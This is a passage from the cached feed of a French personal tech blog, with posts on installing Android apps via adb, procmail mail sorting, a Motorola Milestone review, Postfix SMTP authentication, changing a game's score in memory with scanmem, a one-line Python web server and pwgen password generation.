En plus de ces réelles mesures, on peut bien sûr envisager, en complément, de “protéger” les quelques internautes qui tomberaient malencontreusement sur des images douteuses. Pour cela, il existe une solution très simple, concrète et respectueuse des libertés : proposer aux utilisateurs un logiciel de type “contrôle parental” qui bloquerait ces contenus. Pour des non-spécialistes, la différence avec le filtrage proposé peut paraître subtile, elle est pourtant FONDAMENTALE : l’utilisateur a le contrôle sur ce qui est bloqué, les risques de sur-blocage et de dérives démocratiques sont évités, la neutralité du réseau n’est pas attaquée et l’objectif est parfaitement atteint.

N’hésitez pas à consulter également l’analyse que je fais des articles 2, 3 et 23, que je ne résume pas dans cette lettre.

En tant que citoyen, je vous invite à prendre en compte ces arguments. Si vous y adhérez, je vous propose de formuler des amendements pour les défendre. Si vous avez des doutes ou souhaitez des précisions, n’hésitez pas à me contacter. Si vous êtes en désaccord, merci de m’en indiquer les raisons.

J’espère que vous écouterez l’ensemble des personnes qui s’expriment sur le sujet (qui n’ont pas forcément le même avis que moi) afin d’agir dans l’intérêt général.

Cordialement,

EDIT : À lire également : LOPPSI : la censure d’État bientôt adoptée en France.

";s:7:"dateiso";s:15:"20100119_223123";}s:15:"20100110_111234";a:7:{s:5:"title";s:60:"Installer une application .apk sur Android à partir d'un PC";s:4:"link";s:87:"http://blog.rom1v.com/2010/01/installer-une-application-apk-sur-android-a-partir-dun-pc";s:4:"guid";s:87:"http://blog.rom1v.com/2010/01/installer-une-application-apk-sur-android-a-partir-dun-pc";s:7:"pubDate";s:25:"2010-01-10T11:12:34+01:00";s:11:"description";s:0:"";s:7:"content";s:3822:"

J’expliquais, lors de mes premières impressions d’Android 2 sur le Motorola Milestone, qu’il était impossible d’installer un fichier .apk sans accepter les conditions d’utilisation du market ni configurer un compte gmail.

C’est en fait possible, grâce à l’outil adb du SDK Android, à partir la connexion USB de l’ordinateur.

Configurer le téléphone

Pour que l’outil d’installation puisse fonctionner, il faut activer l’option Paramètres > Applications > Développement > Débogage USB sur le téléphone.

Configurer l’ordinateur

Il faut télécharger Android SDK, malheureusement non libre.

Sous GNU/Linux (plus précisément Ubuntu 9.10, adaptez selon votre distribution), voici comment l’installer et permettre la reconnaissance du Motorola Milestone (plus d’infos ici) :

sudo tar xzf android-sdk_r07-linux_x86.tgz -C /opt
sudo ln -s /opt/android-sdk-linux_x86/tools/adb /usr/local/bin
echo 'SUBSYSTEM=="usb", SYSFS{idVendor}=="22b8", MODE="0666"' |
    sudo tee /etc/udev/rules.d/51-android.rules
sudo service udev reload

Si vous utilisez un système 64 bits, vous aurez besoin également besoin de ia32-libs :

sudo apt-get install ia32-libs

Vous pouvez maintenant brancher votre téléphone sur le PC en USB. Pour vérifier que tout fonctionne :

$ adb devices
List of devices attached 
040140621600C00D	device

Installer une application

En ligne de commande

Pour installer une application à partir de l’ordinateur, rien de plus simple :

$ adb install -r ConnectBot-svn-r466-all.apk  
2343 KB/s (642578 bytes in 0.267s)
	pkg: /data/local/tmp/ConnectBot-svn-r466-all.apk
Success

(-r permet d’écraser si l’application est déjà installée)

À partir d’un gestionnaire de fichiers

Vous pouvez ensuite ajouter la possibilité d’installer les .apk graphiquement à partir de votre gestionnaire de fichiers. Si vous utilisez nautilus, vous pouvez jouer avec nautilus-actions:

install-apk

Voici la commande de mon action nautilus (j’ouvre un xterm pour avoir le résultat de l’installation, si vous avez mieux, n’hésitez pas) :

xterm -T adb -e 'cd "%d" && /usr/local/bin/adb install -r "%f"; sleep 5'

Conclusion

J’ai réinitialisé mon téléphone, il n’a plus de compte gmail associé et je n’ai pas accepté les conditions du market, ce qui ne m’empêche donc plus d’installer les applications dont j’ai besoin.

Même pour ceux qui veulent garder leur compte ou utiliser le market, c’est quand même plus rapide d’installer un .apk grâce à un clic-droit, “installer” à partir du gestionnaire de fichiers plutôt que de copier le .apk sur la carte SD, débrancher le câble USB, aller dans une appli qui va chercher le fichier et cliquer sur “installer”.

";s:7:"dateiso";s:15:"20100110_111234";}s:15:"20100106_174318";a:7:{s:5:"title";s:53:"Trier ses mails directement sur le serveur (procmail)";s:4:"link";s:81:"http://blog.rom1v.com/2010/01/trier-ses-mails-directement-sur-le-serveur-procmail";s:4:"guid";s:81:"http://blog.rom1v.com/2010/01/trier-ses-mails-directement-sur-le-serveur-procmail";s:7:"pubDate";s:25:"2010-01-06T17:43:18+01:00";s:11:"description";s:0:"";s:7:"content";s:5913:"

Dans la continuité des articles consacrés à l’auto-hébergement des mails, je vais présenter quelque chose que je voulais mettre en place depuis un moment : le tri du courrier directement sur le serveur.

Introduction

Lorsqu’on est abonné à des mailing-lists ou qu’on reçoit des notifications de forums ou de blogs, il est inconcevable de garder tous ses mails dans un seul et même dossier, et impensable de les déplacer manuellement (à moins de passer 30 minutes par jour à les trier). Un tri doit être mis en place automatiquement, en se basant sur les en-têtes des mails reçus.

J’utilisais jusqu’à maintenant les filtres de messages de mon client mail, Evolution, mais ça n’était pas forcément approprié :

C’est donc au serveur de placer les mails dans le bon dossier dès la réception. C’est ce que procmail permet de faire.

Les dossiers IMAP

Les dossiers IMAP sont des dossiers physiques contenus dans ~/Maildir (le répertoire des mails) qui respectent une structure particulière :

Pour les créer, il suffit d’utiliser maildirmake ou maildirmake.dovecot, à partir du répertoire ~/Maildir :

maildirmake.dovecot .forums.ubuntu-fr
maildirmake.dovecot .forums.developpez

pour obtenir l’arborescence suivante :

|-- .forums.developpez
|   |-- cur
|   |-- new
|   `-- tmp
`-- .forums.ubuntu-fr
    |-- cur
    |-- new
    `-- tmp

Il est également possible de les créer graphiquement grâce à un client mail.

Configuration de postfix

Il faut indiquer à postfix que procmail va s’occuper de trier les mails, en lui précisant dans /etc/postfix/main.cf :

mailbox_command = /usr/bin/procmail

Il faudra ensuite recharger la configuration :

sudo /etc/init.d/postfix reload

Définir les règles de tri

Tout se passe dans le fichier (à créer) ~/.procmailrc, qui contient deux parties : la définition des variables et la définition des “recettes” (les règles de tri).

Les variables

Pour les variables, copiez simplement ceci (en décommentant les 2 premières lignes si vous voulez des logs).

#VERBOSE=yes
#LOGFILE=.procmail.log
SHELL=/bin/sh
PATH=/bin:/usr/bin:/usr/local/bin
MAILDIR=Maildir/
DEFAULT=./

Les recettes

Les recettes sont écrites sous la forme suivante :

:0 [drapeaux] [ : [verrou_local] ]
<zéro ou plusieurs conditions (une par ligne)>
<exactement une ligne d'action>

Les conditions commencent toutes par *, suivie d’une expression régulière. Pour qu’une recette exécute l’action définie, il faut que le mail en question valide toutes les conditions.

Pour faire simple, nous allons simplement créer des règles qui déplacent des mails dans des dossiers. Pour définir une telle action, il suffit d’écrire le nom du dossier, en terminant la ligne par / (très important, cette convention indique à procmail que le dossier est au format maildir).

Un exemple étant plus parlant, voici une règle qui déplace toutes mes notifications de blog dans un dossier blog :

:0
* ^From: .*<wordpress@blog\.rom1v\.com>$
.blog/

Cet autre exemple permet d’envoyer une copie des mails validant les conditions à des adresses e-mails spécifiées (je m’en sers pour transférer les messages vocaux de mon répondeur téléphonique sur plusieurs adresses) :

:0c
* ^From: telephonie\.freebox@freetelecom\.com$
! autre@email.com

Résultat

Au final, voici un extrait de mon fichier ~/.procmailrc (je n’ai pas mis toutes les règles, c’est juste pour donner quelques exemples) :

#VERBOSE=yes
#LOGFILE=.procmail.log
SHELL=/bin/sh
PATH=/bin:/usr/bin:/usr/local/bin
MAILDIR=Maildir/
DEFAULT=./

:0
* ^From: .*<wordpress@blog\.rom1v\.com>$
.blog/

:0
* ^Reply-To: .*<[0-9]+@bugs\.launchpad\.net>$
.bugs.launchpad/

:0
* ^From: .*<dev\.null@ubuntu-fr\.org>$
.forums.ubuntu-fr/

:0
* ^List-Id: <april\.april\.org>$
.ml.april/
";s:7:"dateiso";s:15:"20100106_174318";}s:15:"20100103_181011";a:7:{s:5:"title";s:61:"Motorola Milestone avec Android 2, mes premières impressions";s:4:"link";s:89:"http://blog.rom1v.com/2010/01/motorola-milestone-avec-android-2-mes-premieres-impressions";s:4:"guid";s:89:"http://blog.rom1v.com/2010/01/motorola-milestone-avec-android-2-mes-premieres-impressions";s:7:"pubDate";s:25:"2010-01-03T18:10:11+01:00";s:11:"description";s:0:"";s:7:"content";s:13424:"

Je viens de recevoir mon nouveau téléphone, un Motorola Milestone, avec le système d’exploitation Android 2, que j’ai pris avec un abonnement SFR Illymythics 3G+ Full Internet. Ma ligne n’étant pas encore activée, je me suis connecté en WiFi sur mon routeur.

Voici mes premières impressions de libriste. Comme vous allez le voir, il y a du positif… et du négatif. Je vais commencer par l’achat et l’accès Internet, pour ensuite entrer dans le vif du sujet : le matériel et le logiciel.

L’achat

Exclusivité rueducommerce, ce téléphone n’était pas trouvable autre part à sa sortie : c’est insupportable ces exclusivités, impossible de le voir “en vrai” avant l’achat. Par contre, il était possible de choisir son opérateur (encore heureux me direz-vous, mais ça n’est pas toujours le cas).

L’accès Internet

Comme prévu, un internet mobile (avec un petit i) loin d’être neutre, comme on peut le voir dans les [conditions générales d’abonnement SFR][cga] :

[cga]: http://www.sfr.fr/mobile/edito/pdf/docs_juridique/181109/conditions_generales_abonnement_SFR.pdf

4.1 : L’abonné est informé et accepte que les Offres lui soient proposées sur la base de la configuration du terminal compatible opérée par l’opérateur. Dès lors, l’abonné qui procèderait à la modification de paramétrage de son terminal compatible ne pourra plus bénéficier des Offres et tarifs en l’état.

Les offres et les tarifs dépendent du matériel qu’on utilise pour aller sur internet ou téléphoner ! Imaginez que votre accès ADSL soit plus cher si vous achetez un ordinateur Acer plutôt qu’un Asus… ou que vous changiez le système d’exploitation ou les logiciels pré-installés…

4.2 : Le peer to peer, les newsgroups, la Voix sur IP et les usages Modem sont interdits, ce que l’abonné reconnaît et accepte, SFR se réservant le droit, pour les clients Forfaits Bloqués SFR, de résilier la ligne en cas de manquement.

Bon, bah là on est carrément dans le filtrage protocolaire pure et simple. Sans parler des usages “modem” qui sont interdits, comme si les fournisseurs d’accès ADSL interdisaient d’installer un routeur perso sur sa connexion…

4.3 : Pour permettre à tous les clients SFR d’accéder au réseau SFR dans des conditions optimales, le débit maximum de connexion sera réduit au-delà de 1Go d’échanges de données par mois jusqu’à la prochaine date de facturation.

Quand une phrase commence comme ça, en général, c’est mauvais signe… Le soi-disant “Internet” est donc limité à 1Go par mois sans réduction de débit…

Les cas particuliers pour les iPhones sont également assez hallucinants.

Vivement que Free sorte ses offres mobiles…

Le matériel

motorola-milestone

Rien à redire à ce niveau-là, l’écran 3,7’ avec une définition de 854×480 est vraiment très confortable, la navigation sur internet est agréable. L’écran tactile fonctionne très bien, il a l’air solide et ne se raye pas. Le clavier physique est très sympa pour écrire tout en gardant l’intégralité de l’écran visible.

Le téléphone est peut-être un peu lourd, mais on s’y fait.

Le logiciel

Mes attentes

Avant de détailler ce que je pense de toute la partie logicielle, je voudrais détailler ce que j’attends du téléphone.

Tout d’abord, je veux accéder à mes mails, à la messagerie instantanée et aux salons de discussion IRC. Je veux également pouvoir me connecter en SSH (sur mon serveur à la maison par exemple) et rediriger des ports (pour faire passer les connexions dans un tunnel, vers un réseau internet plus neutre, celui que j’ai à la maison en l’occurrence) ; les logiciels que j’utilise doivent donc supporter la configuration d’un proxy.

Ensuite, je ne veux pas utiliser tous les services Google, en particulier je ne veux pas de Gmail, de l’agenda, de Google Talk… Plus généralement, je ne veux pas d’applications qui nécessitent un compte Google (mes données personnelles n’ont rien à faire chez Google ou chez n’importe qui d’autre).

Enfin, je ne veux pas passer par “Android Market” pour installer des applications. Je veux installer et désinstaller des applications à ma guise, même celles qui sont fournies avec le téléphone. D’ailleurs, je ne suis pas d’accord avec les conditions d’utilisation, entre autres :

Si tel était le cas, Google se réserve le droit de supprimer à distance et à sa seule discrétion les Produits concernés de votre Mobile, sans vous en informer au préalable.

D’une part, je considère que c’est abusif sur le principe, d’autre part ça signifie que techniquement le Market est une sorte de trojan à partir duquel une entité extérieure peut exécuter du code à son bon vouloir. Tout simplement inacceptable. Google m’a beaucoup déçu sur ce point, en général j’aime bien leur politique d’ouverture, mais j’avoue avoir été désagréablement surpris par leurs conditions, qui font malheureusement penser à celles d’Apple (en moins pire, certes, mais quand même)…

Certains me demanderont alors “mais pourquoi donc as-tu choisi un Android ?”. Pour moi, Android a beaucoup d’attraits : le système d’exploitation est sympa, on peut rajouter des applications sous licence libre sans forcément passer par le Market, on peut se connecter directement en USB à l’ordinateur, j’aime bien l’interface, etc. Avoir accès facilement à mes données personnelles offertes gracieusement à Google est loin d’être ma priorité… Et je rajouterais que faute de mieux, Android est le moins pire au niveau ouverture…

Que de déceptions !

Tout d’abord, lorsqu’on allume le téléphone, on se rend compte qu’il y a quelques applications installées dont on n’a pas besoin (“Agenda”, “Agenda d’entreprise”, “Annuaire d’entreprise”, “Gmail”, “Motonav”, “Phone Portal”, sans compter “Market” puisque j’ai dit que je ne comptais pas m’en servir). Après tout, ce n’est pas gênant, sur Ubuntu Empathy est pré-installé, moi j’utilise Gajim, il me suffit de désinstaller Empathy et d’installer Gajim.

Mais là, non ! Il est tout simplement impossible de désinstaller les applications pré-installées, certaines ressemblant plus à des crapwares qu’à des applications utiles (ça me fait penser aux pauvres utilisateurs de Windows qui achètent un ordinateur avec Norton pré-installé et difficile à retirer)…

En fait, il faut attendre que le téléphone soit rooté pour pouvoir faire ce que l’on veut sur sa machine. Et là vient encore une nouvelle déception vis-à-vis de Google (à moins que ça ne soit la faute de Motorola ?) : pourquoi n’est-il pas proposé par défaut la fonctionnalité de passer root sur la machine ? Pourquoi est-ce considéré comme du “piratage” de rooter son téléphone, comme pour le jailbreak de l’iPhone ? Imaginez-vous acheter un ordinateur sur lequel on vous empêche d’être root ? Pourquoi serait-ce différent pour un téléphone ?

Ça commence mal, mais ce n’est pas très grave, je me dis que je vais ignorer ces applications, elles prennent juste un peu de place en mémoire et surtout dans le menu principal… Après tout, je peux installer les logiciels libres que je veux en les téléchargeant sur le site en .apk et en les copiant sur la carte mémoire, non ? Pas tout-à-fait, car par défaut, le téléphone ne sait pas installer les .apk… Ça aurait été plus utile que les bidules pré-installés, non ?

Parce que du coup, il faut installer un logiciel qui s’appelle appsInstaller (non libre). EDIT: je vous conseille plutôt le gestionnaire de fichiers libre OI File Manager. Comment? En passant par le Market. Ce qui implique d’accepter les conditions disant “ce programme est un trojan, voulez-vous accepter ?” (je caricature à peine). Et qui implique de renseigner un compte Gmail dans le téléphone, qui sera utilisé par toutes les autres applications.

J’accepte donc les conditions et crée un compte bidon (jeneveuxpasdecompte at gmail.com). Une fois appsInstaller installé, je tente de supprimer ce compte de mon téléphone, “Impossible de supprimer ce compte”. sudo supprimer ce compte, non ça n’est pas possible ? Décidément, on n’est pas maître de la machine tant qu’on n’est pas root !

EDIT 10/01/2010 : C’est en fait possible d’installer une application .apk sans jamais configurer un comte gmail ni passer par le market : Installer une application .apk sur Android à partir d’un PC.

Du positif quand même

Malgré tout cela, il y a des choses qui fonctionnent bien.

Par exemple la connexion USB qui permet d’accéder directement au contenu la carte SD, quelque soit le système d’exploitation. Ou la musique Ogg Vorbis qui se lit très bien avec le lecteur par défaut… La gestion des notifications est également sympa (un peu à la manière d’indicator-applet dans Ubuntu). Le GPS fonctionne bien en extérieur (par contre en intérieur, il fait n’importe quoi chez moi).

Voici quelques retours d’expérience sur les programmes “de base” (mails, messagerie, ssh, jabber). Si vous connaissez d’autres logiciels libres sympa, n’hésitez pas à partager.

Mail

Le client mail par défaut se connecte sans problème à mon serveur perso en utilisant IMAP/TLS et SMTP/TLS. Il n’offre par contre pas un super affichage pour les dossiers IMAP (une liste de noms “bruts” comme “INBOX.forums.ubuntu-fr”, “INBOX.mailing-list.april”…). il ne gère pas le push (pour recevoir son mail aussitôt) et a un peu de mal avec les pièces jointes.

J’ai installé k9mail (Apache License 2.0), qui est un peu plus complet, et qui gère le push et les pièces jointes. Par contre, il n’est qu’en anglais.

Messagerie instantanée

Pour utiliser la messagerie instantanée Jabber, j’utilise le client Beem qui fonctionne très bien :

beem

Identi.ca

Pour tweeter sur identi.ca, j’ai installé mustard. Très sympa (sauf qu’il rafraîchit les flux à chaque fois qu’on le lance, même si le dernier chargement a eu lieu il y a 15 secondes).

SSH

L’application connectbot (GNU/GPLv3), permet de se connecter en SSH à un serveur. Elle gère les paires de clés publique/privée et la redirection de ports.

En particulier, je l’utilise pour lancer irssi (un client IRC en ligne de commande) dans un [screen][] sur un serveur. Cela permet de pouvoir déconnecter et reconnecter le client sans se déconnecter des salons et ni perdre le fil de discussion…

Malheureusement, le navigateur internet par défaut ne permet pas de configurer de proxy (pour utiliser un tunnel SSH). Si vous en connaissez un bien en attendant Fennec, je suis preneur. D’autant que le navigateur intégré ne fonctionne pas correctement sur tt-rss (quand je clique sur un flux, il considère que je clique sur toute la colonne de gauche).

Conclusion

Le téléphone et le système sont de jolis jouets technologiques.

Mais je m’attendais, de la part de Google, à ce que ça soit quand même plus ouvert que ça… Là on est obligé d’accepter des conditions inacceptables, d’utiliser un compte Google alors qu’on n’a rien demandé, on ne peut pas désinstaller les crapwares… On se sent un peu limité, on n’a pas la maîtrise totale de la machine tant qu’elle n’aura pas été rootée, je trouve que c’est vraiment dommage.

Attendons donc qu’elle soit rootée…

PS: Quelques trolls se sont malencontreusement glissés dans ce billet, saurez-vous les retrouver ? ;-)

";s:7:"dateiso";s:15:"20100103_181011";}s:15:"20100102_202305";a:7:{s:5:"title";s:51:"Ajouter l'authentification SMTP sur un serveur mail";s:4:"link";s:80:"http://blog.rom1v.com/2010/01/ajouter-lauthentification-smtp-sur-un-serveur-mail";s:4:"guid";s:80:"http://blog.rom1v.com/2010/01/ajouter-lauthentification-smtp-sur-un-serveur-mail";s:7:"pubDate";s:25:"2010-01-02T20:23:05+01:00";s:11:"description";s:0:"";s:7:"content";s:3327:"

Ce billet vient compléter mon premier billet concernant l’installation d’un serveur mail sur Ubuntu Server.

Objectif

La configuration de postfix présentée dans mon premier billet limitait (dans un but de sécurité) l’envoi d’un mail à une personne distante qu’à partir du réseau local (ou une liste de réseaux prédéfinis). Cela est parfait lorsqu’on envoie toujours les mails de chez soi, avec au besoin la possibilité d’envoyer un mail de n’importe où grâce au webmail.

Mais l’utilisation du SMTP à distance devient utile lorsqu’on veut envoyer un mail à partir de chez un ami avec son client mail (plus pratique pour les pièces jointes par exemple), et cela devient carrément indispensable lorsqu’on veut écrire des mails à partir de son téléphone de n’importe où (sans IP fixe).

Ne plus restreindre l’utilisation du SMTP au réseau local implique évidemment de rajouter une couche d’authentification…

Je vais donc décrire comment mettre en place une authentification SMTP-AUTH “en clair” (bien sûr encapsulée dans une connexion chiffrée TLS, déjà configurée si vous avez suivi le premier tuto) qui correspond au login et mot de passe de l’utilisateur système. Il a été écrit pour une installation sur Ubuntu Server 9.10, il faudra donc peut-être l’adapter légèrement si vous utilisez autre chose.

Configuration de SASL

Il faut installer le paquet sasl2-bin :

sudo apt-get install sasl2-bin

et ajouter l’utilisateur postfix au groupe sasl :

sudo adduser postfix sasl

Ouvrez ensuite /etc/default/saslauthd, remplacez :

START=no

par :

START=yes

et remplacez la dernière ligne par :

OPTIONS="-c -m /var/spool/postfix/var/run/saslauthd"

Démarrez le service :

sudo /etc/init.d/saslauthd start

Configuration de postfix

À la fin de /etc/postfix/main.cf, rajoutez :

# SASL
smtpd_sasl_auth_enable = yes
smtpd_recipient_restrictions = permit_sasl_authenticated,permit_mynetworks,reject_unauth_destination

Dans ce même fichier, vous pouvez également supprimer le réseau 192.168.0.0/24 de la variable mynetworks (si vous l’aviez rajouté).

Créez le fichier /etc/postfix/sasl/smtpd.conf contenant :

pwcheck_method: saslauthd
mech_list: plain login

Rechargez la configuration de postfix :

sudo /etc/init.d/postfix reload

Voilà, tout est prêt.

Configuration du client mail

Dans votre client mail, indiquez que le serveur SMTP requiert une authentification, de type CLAIR (ou PLAIN), et précisez votre compte utilisateur à utiliser.

";s:7:"dateiso";s:15:"20100102_202305";}s:15:"20091220_195258";a:7:{s:5:"title";s:55:"Tricher dans les jeux en modifiant la mémoire à chaud";s:4:"link";s:83:"http://blog.rom1v.com/2009/12/tricher-dans-les-jeux-en-modifiant-la-memoire-a-chaud";s:4:"guid";s:83:"http://blog.rom1v.com/2009/12/tricher-dans-les-jeux-en-modifiant-la-memoire-a-chaud";s:7:"pubDate";s:25:"2009-12-20T19:52:58+01:00";s:11:"description";s:0:"";s:7:"content";s:3175:"

Il y a longtemps, sur la première PlayStation, j’avais acheté un Action Replay qui permettait de modifier la mémoire à chaud pour “tricher” ou changer le comportement d’un jeu.

Il est possible de faire la même chose sous GNU/Linux grâce à scanmem, qu’il faut installer :

sudo apt-get install scanmem

Nous allons le tester sur Gnometris (le Tetris-like intégré à Gnome) pour exploser le record.

gnometris

Lançons le jeu, et récupérons son pid :

$ gnometris &
[1] 30814

Démarrons scanmem avec comme paramètre le pid de Gnometris :

sudo scanmem 30814

(oui, il faut être root pour lire et écrire la mémoire des autres programmes lancés, c’est plutôt rassurant)

On obtient un joli prompt :

0> 

Il va falloir tout d’abord trouver où se trouve en mémoire la variable à modifier (celle qui contient le score courant). Pour cela, c’est très simple, vu que le score est affiché à l’écran, il suffit d’indiquer à scanmem sa valeur. Pour l’instant, mon score est de 0, je rentre donc 0 :

0> 0
info: 01/126 searching   0x621000 -   0x623000...........ok
info: 02/126 searching  0x1f9d000 -  0x2f4e000...........ok
…
info: 125/126 searching 0xe83f9000 - 0xe83fa000.ok
info: 126/126 searching 0xdab4b000 - 0xdab67000.ok
info: we currently have 12352024 matches.
12352024> 

Il y a donc 12352024 variables dans la mémoire utilisée par Gnometris qui sont à 0 (pas étonnant).

Je joue un peu, histoire de faire évoluer le score… tac tac tac tac… Voilà, j’ai 100 points (j’ai fait 2 lignes), je tape donc 100 :

12352024> 100
info: we currently have 36 matches.
36> 

Il y a 36 variables qui étaient à 0 tout à l’heure et qui sont à 100 maintenant. Je rejoue, je fais 1 ligne, j’ai 140 points, je tape donc 140 :

36> 140
info: we currently have 1 matches.
info: match identified, use "set" to modify value.
info: enter "help" for other commands.

Voilà, j’ai trouvé la variable qui contient le score, maintenant je peux la modifier :

1> set 12345678
info: setting *0x22e38f0 to 0xbc614e...

Rien ne se passe dans le jeu, c’est normal : pour Gnometris, le score n’a pas pu changer, le label de l’interface graphique contenant le score n’a donc pas été rafraîchi. Il suffit de gagner quelques points pour s’apercevoir que la modification a bien été prise en compte :

gnometris-cheat

Ça fonctionne bien évidemment sur tous les programmes, mais c’est plus intéressant pour les jeux :-)

";s:7:"dateiso";s:15:"20091220_195258";}s:15:"20091206_152239";a:7:{s:5:"title";s:65:"Créer un serveur HTTP en 10 secondes sur Ubuntu grâce à Python";s:4:"link";s:66:"http://blog.rom1v.com/2009/12/creer-un-serveur-http-en-10-secondes";s:4:"guid";s:66:"http://blog.rom1v.com/2009/12/creer-un-serveur-http-en-10-secondes";s:7:"pubDate";s:25:"2009-12-06T15:22:39+01:00";s:11:"description";s:0:"";s:7:"content";s:767:"

Il suffit d’aller dans le répertoire à partager et d’exécuter :

$ python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...

Le répertoire sera chrooté et accessible sur http://localhost:8000.

Par défaut, le port 8000 est utilisé, mais on peut le changer :

$ python -m SimpleHTTPServer 1234
Serving HTTP on 0.0.0.0 port 1234 ...

Pour les ports inférieurs à 1024, il faut être root :

$ sudo python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...

Si le port correspondant est ouvert sur le routeur, il sera également accessible de l’extérieur. Pratique pour partager rapidement du contenu…

";s:7:"dateiso";s:15:"20091206_152239";}s:15:"20091121_190529";a:7:{s:5:"title";s:39:"Générer des mots de passe aléatoires";s:4:"link";s:66:"http://blog.rom1v.com/2009/11/generer-des-mots-de-passe-aleatoires";s:4:"guid";s:66:"http://blog.rom1v.com/2009/11/generer-des-mots-de-passe-aleatoires";s:7:"pubDate";s:25:"2009-11-21T19:05:29+01:00";s:11:"description";s:0:"";s:7:"content";s:5868:"

Il arrive de vouloir changer de mot de passe, et comme d’habitude, d’en vouloir un aléatoire.

Le programme pwgen est bien pratique. Il génère au choix :

Sur ces 3 exemples, on voit tout de suite les niveaux de difficulté de mémorisation :

$ pwgen
EithooK4 faey6aeM Dai5aat5 ue0Aen8e lee1Aiyi Niemap6b ahW7ooth Pohc9iez
tien7Pho ahz5aaJ4 nohd0EiR uiS7xoot Cah9joo1 Fiede8to chus3Mee Ohji2dok
ieJah6de Nool6ael lahd6Pau dooc9Ach nai4Ther Iegahzu7 Roop2tha iiViG4pa
Chaeb1qu Ie0ohxis hohz9Aiw UeYae4Ae uthae6Ga veeCho9o Vo0shait aiShue1h
ieX8geen Auyeix9t OBeb0pae Cah0Ooqu aeG7nooV Ohpu5aic UaTh7eem Fakex4hu
vei7oNgu doc0Fi5J xahFel6r AeK5ing0 xaX6ahBu Coo7Quoh Aghu7lah xec9IeLu
ae1phiaR aem5Auy6 ebohP0ta FieGh3ee ki8QuaoN fahvev6R Aezil9Th aeVeex3f
aeh6eeTe ohR6Ahfi IoV4WaCh EeSah9Oo eeg2Wae8 Eeh5phee eiraGeu0 Owe5thah
Oa0eaqui iaV8joiw yoF1ueF9 Nee3Athi ooW3Noet uphai8Ai Eedoi2ch ao2Eich4
Chie3voo vexae9UR ri4en4Ai ig9ohDaZ iej1iRae Iechee6i uiS3geim zi0ee1Qu
Co5ahcoh Ahyai2ga eiw7ahCa Phier3ie Thoocai3 fieY0xeo aeNei2ei xieb2Cha
Le1oep5e oavohn8E ahbeeM5i Aedeif7i Ohth4Fai Uo4gaevu BeFohch3 iePu9aem
choh6zaY facoo0Na Ug5noh7z fet8ahS8 lanohl0H eiW5dahY Miex1Cey iPeew0Ai
Ooxae1Co Fa4ioz9w ooyaip1A tei6Pae7 eefaeX6J tahWoh6l quee0eeZ gooD0uDu
iev9aeS8 Deb7Iez1 tii8LaVi BuJoon3g eePeghe7 Cee8kahn Ru3rosho baiph2Iu
bahg1eiG vi8aeTho eequ7Voe Xi4oocha raij8aeJ Oe7heGhu Jae4iz1U Ineem3ie
koh1oiPh Bo9xi9Qu Ash5Aisu IeVuiph4 ul8fePoo Aaphe1ru eiWeim1v NuN7xira
uwe0Iexa ahBu9aiv Suu0aexi haiz2Eem eiC3phuh eingo1Cu Aibek8Ta Theiha2I
feP8poir id1ib5Ah Aib2Eish Ahk8cheu Woo7cha3 hahX4pai shiu2uYi Oobiev6E
euf7le8I Vaa2ao4w dah1Ieja pi4OaPuu Aeroh9th thue7Gu5 Aivu3Nah loo9le9E
$ pwgen -s
ji3f2Nvp chK36N5w yn7toyvP 3997nLrJ nzFqz14R 9dnkBHYL 9zF2zVQr T1psPkYX
nMNvbMU1 wz1xYluN z9D62kI0 ycZGb5a7 rKMj0W7P NNih1iC2 2TFeDTO1 ul0gKW9G
tplaj4Fg 9SAjOAdn b2KpUY4c M3G5lwAr 9mWUV61M iV41jedC vSFaeM91 PRy5zUuT
0oJIC3Va Qqzkc1gv je4Q2Meg dk0rVKiG oeBAo89G a7vgS7NZ evyG65d4 416FPnAO
94u4ShlL 4WvBDdsG b7ojJyo9 ZiQQO0wf B10gsyBQ jGPT5gw7 R8Vx6Fsb BjO6KzpN
Bj3mHgWs 4YGekJBa 6zVsqVxF sD4hphne ksucD8gt COU5FRCI BBkU9PQt oT7d90Ns
NSmKs5Jl USBtPA1Z oRTb1vl6 79Mn84dv QwGG1utJ HPZTHd1B zww6ZPif 9uIj6bme
GdE4BjN9 oB4VcrWQ 2TlAJuE6 52JMMxcx IsYoIj3g GWyL24vZ sv5dwT48 QrQTz5Xb
KnKtVDY9 5mW6B30b 6RPgdzOp Raes1DgQ Njv3rOyR u4pwGpGl s9hnUdVA WKR4IjQE
g72s3Okb J2IbdUWy 5LNfmINq 0QMAnPGx zTSbMK7h ic0qQhf6 OCB8mQ1p pxGhQ8Ps
wN0GjxDs seW9ricu 3DmdZUbJ lQF9rFWZ dvIC4RM4 CuUWo6k5 rdA4QByG wpHI2BSU
bvvSF2dz y6205hA5 7zGpRspW hn1E4HCh 1lJlhL2P g0niR3c9 dPByI3PG AtRm1bSV
I1Hs5Cg3 8CRJvebA jxh8jpAU x9828wlW 6KBcByOt orl3QmoL 6pYIHB7c MALID6LD
36KiInPB 5f2DLzhj iRB9AHah GUCn2Tzq aJ0ZiDy0 nizXx6SI dCEO0fvw Q5fMf08t
HmZVQd25 EIiKnbb4 AQun8igX 88TRMsB6 R1g0hL7D QPTRCH1V hs14l8C1 xVKhN5MD
sU5N2N4n tS7iB8jK 5Vcq8XrN GvT2bF5X hZS2jZpB vMI2ZxhC GXaYX5JV h5enQ53C
aKSh3ZGm QCxe8dT0 XI38fqmZ u0vA31e7 3wdaV3OF e98PZcs4 Bu7SceCn Pgkq0q2K
j71AznCc pNtp5VoC N2m1RNBn Opa4CrMl P3IFuG6s iuNhtTm3 k3jehDmQ TyG5kBdo
03eqXAB1 Dez29MWr ZZRRI0oh 1KC7CD3H 8Q6VMn5d b9DO8B1o 3M36hgOf N3JWSJIn
xXmfe86X FjCSO4bI w5BvyCZS rDB4aOPK H8hvo7M1 svWnLX2x Mglqr0yA udo253ND
$ pwgen -sy
TFKS^;4v y$@5i6CH !4?]G]Tf $E\<90z? ^'z5c+BH 9E>aS@(} qP,:Z2.K ]*7db:W:
\x7Nv9/X Q&ry9yw6; 9ur]=_V0 5-ea/3Tk MQ}jS4H3 1|r\TX%? PnI9!+T* ;I#36=)%
}_(@D7~E hRt0f?3p 7$XQG]j= '7/n7`X: |Byz#93A 4kR4'vw1 %j!f{5WL 7p{xmH?e
,jCt0nXH LSI[T1Z% ViF+O>5v 5(Ooaa%+ p@%Bs9dl DUv@HjB7 oH4q*h*0 +4?B,?a#
